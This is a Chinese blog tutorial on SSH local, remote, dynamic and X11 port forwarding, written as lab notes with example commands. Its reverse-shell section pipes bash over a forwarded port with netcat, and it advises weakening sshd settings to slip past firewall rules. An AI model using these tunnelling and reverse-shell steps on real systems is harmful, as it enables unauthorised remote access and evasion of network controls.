• SSH 端口转发


    ssh本地端口转发
    (1)SSH 支持双向通信隧道
    将其他 TCP 端口的通信通过 SSH 链接来转发
    用 SSH 作为传输协议,对流量自动加解密
    突破防火墙访问规则的限制,可用于翻墙
    (2)SSH 本地端口转发
    使效果类似于 rinetd
    将一本地端口与远程服务器建立隧道
    (3)建立双向安全隧道
    将其他 TCP 端口的通信通过 SSH 链接来转发
    用 SSH 作为传输协议,对流量自动加解密
    突破防火墙访问规则的限制,可用于翻墙
    (4)本地端口转发
    本机侦听端口,访问转发到远程主机指定端口
    (5)远程端口转发
    远程侦听端口,访问转发到本机主机指定端口
    (6)动态隧道模式
     
    ssh本地端口转发
    将一本地端口与远程服务器建立隧道
    修改ssh服务器配置文件
    /etc/ssh/sshd_config
    – PermitRootLogin yes
    – Port 53
    – PasswordAuthentication yes
    ▪ service ssh restart
     
    建立端口转发
    ssh -fCNg -L <listen port>:<remote ip>:<remote port> user@<ssh server> -p <ssh server port>
    [root@local ~]# ssh -fCNg -L 7001:192.168.199.103:80 root@192.168.199.165 -p 22
    -f 后台运行进程
    -N 不执行登录shell
    -g 复用访问时作为网关,支持多主机访问本地侦听端口
    网关模式转发RDP、NC、shell
    执行完端口转发后,访问本地监听的7001端口,即可访问远程服务。
    ssh -fCNg -L <listen port>:localhost:<remote port> user@<ssh
    server> -p <ssh port>
    ssh -fCNg -L 7003:localhost:80 root@<ssh 192.168.199.165 -p 22
     
    ssh -fCNg -L 7006:192.168.199.103:333 root@192.168.199.165 -p 22
    远程服务端监听333端口
    本地转发shell
    0k客户端的shell直接反弹到远程服务器
     
    SSH 远程端口转发
    1.由于 ACL 等原因,SSH 与应用连接建立方向相反
    2.本地端口转发
    SSH 客户端+应用客户端位于 FW 一端
    SSH 服务器+应用服务器位于另一端
    3.远程端口转发
    SSH 客户端、应用客户端位于 FW 两端
    SSH 服务器、应用服务器位于 FW 两端
    4.ssh -fCNg -R :: user@ -p
    5.之所以成为远程,是因为 SSH 侦听端口开在远程的 SSH Server(kali) 上
    6.侦听端口永远在客户端一方
     
    实验测试
    本地客户端进行远程端口转发
    ssh -fNg -R <listen port>:<remote ip>:<remote port> user@<SSH server> -p <ssh server port>
    ssh -fNg -R 7003:192.168.199.103:80 root@192.168.199.165 -p 22
    ssh -fNg -R 7003:192.168.199.103:3389 root@192.168.199.165 -p 22
    查看服务端监听的端口
    netstat -anptl | grep 7003
    netstat -anptl | grep 7004
    应用服务端访问本地监听的7003端口成功访问web服务
    关于rdesktop连接windows 远程桌面报错的解决办法
    rdesktop 127.0.0.1:7004
    ERROR: CredSSP: Initialize failed, do you have correct kerberos tgt initialized ?
    Failed to connect, CredSSP required by server.
    我的电脑-属性-远程 去掉仅允许运行使用网络级别身份认证远程桌面计算机的连接。
    ok,重新执行命令
    rdesktop 127.0.0.1:7004
     
    使用nc反弹shell
    web服务端开启监听
    client:nc -nvlp 3333
    客户端开启远程端口转发
    ssh -fNg -R 7005:192.168.199.103:3333 root@192.168.199.165 -p 22
    ssh server:nc 127.0.0.1 7005 -c bash
    web server 成功接收到shell
     
     
    动态端口转发
    1.本地、远程端口转发都需要固定应用服务器IP、Port
    应用端口繁多,诸葛转发效率低
    某些应用不固定端口
    某些网站不支持IP直接访问
    使用非受信网络上网时保护流量不被嗅探
    2.本地侦听 socks4/5 代理端口
    由 SSH server 决定如何转发
    作为翻墙代理使用
    配置客户端代理(浏览器)
    使用 proxychains 支持无代理客户端
    ssh -CfNg -D 7001 root@1.1.1.1 -p 2121
     
    动态端口转发
    ssh -CfNg -D 7006 root@192.168.199.165 -p 22
    设置客户端浏览器代理
    ok,可以上网
    OK,可以看到客户端的所有请求都是走的代理的7006端口
     
    X协议转发
    1.远程登陆 Linux GUI 运行图形化界面工具
    VNC
    X windows
    2.防火墙限制访问时
    基于 SSH 的 X 转发
    ssh -X user@192.168.199.165 -p 53
     
    X协议转发测试
    可以使用远程主机的图像化工具
  • 相关阅读:
    完整性检查工具Nabou
    Linux下使用网上银行
    戏说Linux商用数据库
    开源数据库“五虎将”
    搜寻Linux软件实用指南
    认识Linux瘦客户机
    一款开源Office软件---Lotus Symphony在Linux系统下的应用
    Leetcode-967 Numbers With Same Consecutive Differences(连续差相同的数字)
    Leetcode-965 Univalued Binary Tree(单值二叉树)
    Leetcode-966 Vowel Spellchecker(元音拼写检查器)
  • 原文地址:https://www.cnblogs.com/micr067/p/12407485.html
Copyright © 2020-2023  润新知